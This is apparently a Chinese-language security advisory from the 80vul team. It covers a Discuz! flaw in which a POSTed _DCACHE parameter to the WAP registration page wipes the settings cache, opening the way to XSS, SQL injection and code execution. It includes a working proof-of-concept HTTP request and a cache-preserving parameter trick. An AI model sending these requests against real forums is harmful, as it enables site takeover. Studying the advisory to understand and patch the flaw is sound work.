Discuz! $_DCACHE數組變量覆蓋漏洞

Discuz! $_DCACHE數組變量覆蓋漏洞

author: ryat_at_[url]www.wolvez.org[/url]
team:[url]http://www.80vul.com[/url]


由於Discuz! 的wap\index.php調用Chinese類裏Convert方法在處理post數據時不當忽視對數組的處理,可使數組被覆蓋爲NULL.當覆蓋$_DCACHE時導致導致xss sql注射 代碼執行等衆多嚴重的安全問題.

一 分析

/wap/index.php

//43行
$chs = '';
if($_POST && $charset != 'utf-8') {
    $chs = new Chinese('UTF-8', $charset);
    foreach($_POST as $key => $value) {
        $$key = addslashes(stripslashes($chs->Convert($$key)));
    }
    unset($chs);
}
...
if(in_array($action, array('home', 'login', 'register', 'search', 'stats', 'my', 'myphone', 'goto', 'forum', 'thread', 'post'))) {
    require_once './include/'.$action.'.inc.php';

這個地方是對非utf-8編碼下的數據進行編碼轉換,但Convert方法有一個問題,如果存在iconv()將會用此函數進行編碼轉換,這時如果傳遞進來的參數是一個數組,將會返回FALSE,那麼POST提交一個_DCACHE=1,經過Convert()處理$_DCACHE就會被覆蓋爲NULL[再經過stripslashes()或者addslashes()處理會被覆蓋爲一個空的字符串]:)

/wap/include/register.inc.php

//124行
    require_once DISCUZ_ROOT.'./include/cache.func.php';
    $_DCACHE['settings']['totalmembers']++;
    $_DCACHE['settings']['lastmember'] = $discuz_userss;
    updatesettings();
   
這個地方是註冊用戶後更新緩存數據,再來看看updatesettings()是怎麼處理的:

include/cache.func.php

//252行
function updatesettings() {
    global $_DCACHE;
    if(isset($_DCACHE['settings']) && is_array($_DCACHE['settings'])) {
        writetocache('settings', '', '$_DCACHE[\'settings\'] = '.arrayeval($_DCACHE['settings']).";\n\n");
    }
}

可以看到這個地方寫入的是$GLOBALS[_DCACHE],我們可以在註冊時用上面提到的方法把$_DCACHE覆蓋爲一個空字符串,然後經過上面代碼的重新賦值及更新緩存,最後寫入forumdata/cache/cache_settings.php的將僅僅只有$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember']:)

include/common.inc.php

//95行:
$cachelost = (@include DISCUZ_ROOT.'./forumdata/cache/cache_settings.php') ? '' : 'settings';
@extract($_DCACHE['settings']);
...
$styleid = intval(!empty($_GET['styleid']) ? $_GET['styleid'] :
        (!empty($_POST['styleid']) ? $_POST['styleid'] :
        (!empty($_DSESSION['styleid']) ? $_DSESSION['styleid'] :
        $_DCACHE['settings']['styleid'])));

$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE['settings']['styleid']);

if(@!include DISCUZ_ROOT.'./forumdata/cache/style_'.intval(!empty($forum['styleid']) ? $forum['styleid'] : $styleid).'.php') {
    $cachelost .= (@include DISCUZ_ROOT.'./forumdata/cache/style_'.($styleid = $_DCACHE['settings']['styleid']).'.php') ? '' : ' style_'.$styleid;
}

這裏用extract處理了$_DCACHE['settings'],但由於此時包含的forumdata/cache/cache_settings.php文件中僅僅存在$_DCACHE['settings']['totalmembers']和$_DCACHE['settings']['lastmember'],將導致大量的變量沒有初始化,而此部分變量在整個程序中起到了重要作用,但現在我們可以隨意提交這些變量,這將導致xss,sql注射,命令執行等衆多嚴重的安全問題:)

另外要注意$styleid可能會導致重新更新緩存文件,可以提交stylejump[1]=1&styleid=1&inajax=1,這樣就不會再次更新緩存,forumdata/cache/cache_settings.php裏依然是我們wap註冊時寫入的數據:)

PS:WAP用戶註冊默認並不開啓

二 利用

Poc:

POST [url]http://127.0.0.1/dz/wap/index.php?action=register[/url] HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: [url]http://127.0.0.1/dz/wap/index.php[/url]
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1
Host: 127.0.0.1
Connection: close
Content-Length: 66

username=ryat&password=123456&[email protected]&_DCACHE=1

D:\>type Discuz_7_Beta_SC_GBK\upload\forumdata\cache\cache_settings.php
<?php
//Discuz! cache file, DO NOT modify me!
//Created: Nov 6, 2008, 22:27
//Identify: 1b0cb6a8551131fb818dc6fe54e9cad0

$_DCACHE['settings'] = array (
  'totalmembers' => 1,
  'lastmember' => 'ryat',
);

?>


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章